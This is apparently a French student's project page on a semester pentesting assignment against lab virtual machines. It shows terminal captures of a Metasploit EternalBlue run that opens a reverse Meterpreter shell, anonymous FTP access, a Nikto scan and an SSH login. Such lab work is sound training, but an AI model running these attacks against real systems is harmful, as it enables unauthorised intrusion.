

Cybersécurité

Pentesting

Projet de cybersécurité du semestre 3 - IUT de La Rochelle



Introduction

La SAE de cybersécurité du semestre 3 a pour but de découvrir les différentes méthodes de pentesting. Ce projet, réalisé en binôme, nous permet de nous familiariser avec les différentes failles couramment trouvées sur des systèmes Windows et Linux.

Le pentesting, ou test d'intrusion, vise à reproduire une attaque sur un système informatique afin de détecter ses vulnérabilités. Cela permet d'identifier les failles de sécurité avant qu'elles ne puissent être exploitées par des individus malveillants. Cette démarche aide les entreprises à améliorer leur sécurité en anticipant les risques. Le projet s'est concentré sur l'analyse de 5 machines vulnérables fournies par TCM Security.



Présentation des attendus

Il nous a été demandé de prendre l'accès administrateur sur 5 machines virtuelles (2 Windows, 3 Linux) à partir d'une machine d'attaque Kali Linux. Nous avons dû utiliser les 7 étapes de la Cyber Kill Chain afin d'avoir une marche à suivre.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.0.2.5:4444
[*] 10.0.2.15:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.15:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.15:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.15:445 - The target is vulnerable.
[*] 10.0.2.15:445 - Connecting to target for exploitation.
[+] 10.0.2.15:445 - Connection established for exploitation.
[+] 10.0.2.15:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.15:445 - CORE raw buffer dump (38 bytes)
[*] 10.0.2.15:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.0.2.15:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 10.0.2.15:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 10.0.2.15:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.15:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.15:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.15:445 - Starting non-paged pool grooming
[+] 10.0.2.15:445 - Sending SMBv2 buffers
[+] 10.0.2.15:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.15:445 - Sending final SMBv2 buffers.
[*] 10.0.2.15:445 - Sending last fragment of exploit packet!
[*] 10.0.2.15:445 - Receiving response from exploit packet
[+] 10.0.2.15:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.15:445 - Sending egg to corrupted connection.
[*] 10.0.2.15:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.0.2.15
[*] Meterpreter session 2 opened (10.0.2.5:4444 → 10.0.2.15:49160) at 2024-12-10 11:31:08 +0100
[+] 10.0.2.15:445 - =====
[+] 10.0.2.15:445 - =====--WIN=====
[+] 10.0.2.15:445 - =====

meterpreter > |
```



Connaissances exploitées

Nous avons pu exploiter nos connaissances acquises lors des cours de pentesting du semestre 3. Nous avons également dû beaucoup utiliser Internet afin de faire des recherches précises concernant les différentes failles découvertes afin de mieux comprendre le fonctionnement de ces dernières.

Nous avons utilisé les différents outils de Kali (Nmap, Hydra, Metasploit, BurpSuite) pour arriver à nos fins.

```
(kali@kalikali)-[~]
└─$ ftp 10.0.2.7
Connected to 10.0.2.7.
220 (vsFTPd 3.0.3)
Name (10.0.2.7:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||51704|)
150 Here comes the directory listing.
-rw-r--r--    1 1000    1000          776 May 30  2021 note.txt
226 Directory send OK.
ftp> █
```



Difficultés rencontrées

La difficulté était de réussir à obtenir l'accès des 5 machines virtuelles dans le temps imparti. En effet, nous avons assez peu de séances de travail pour faire nos recherches et éditer un rapport complet.

Aussi, nous n'avons pas suffisamment de connaissances pour être efficace dans nos recherches.

Nous avons tout de même pu finir en avance le projet.

```
(kali@kalikali)-[~]
└─$ nikto -h 10.0.2.8
- Nikto v2.5.0

-----
+ Target IP:          10.0.2.8
+ Target Hostname:    10.0.2.8
+ Target Port:        80
+ Start Time:         2024-12-30 18:41:15 (GMT1)
-----

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5c37b0dee585e, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ /phpmyadmin/changelog.php: Cookie goto created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /phpmyadmin/changelog.php: Cookie back created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /phpmyadmin/ChangeLog: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ /phpmyadmin/README: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts. See: https://typo3.org/
+ 8254 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:         2024-12-30 18:45:33 (GMT1) (258 seconds)
-----

+ 1 host(s) tested
```



Compétences développées

Cette SAE nous a permis de développer nos compétences dans le domaine du pentesting et de la recherche de failles. Nous nous sommes rendus compte que beaucoup de failles différentes pouvaient exister, et que certaines étaient très facilement détectables pour un attaquant.

Enfin, nous avons pu approfondir nos connaissances sur le fonctionnement de certaines failles et de la méthodologie d'attaque des hackers.

```
(kali@kalikali)-[~]
└─$ ssh grimmie@10.0.2.7
grimmie@10.0.2.7's password:
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun May 30 03:21:39 2021 from 192.168.10.31
grimmie@academy:~$ su
Password:
su: Authentication failure
grimmie@academy:~$ su
Password:
su: Authentication failure
grimmie@academy:~$ █
```

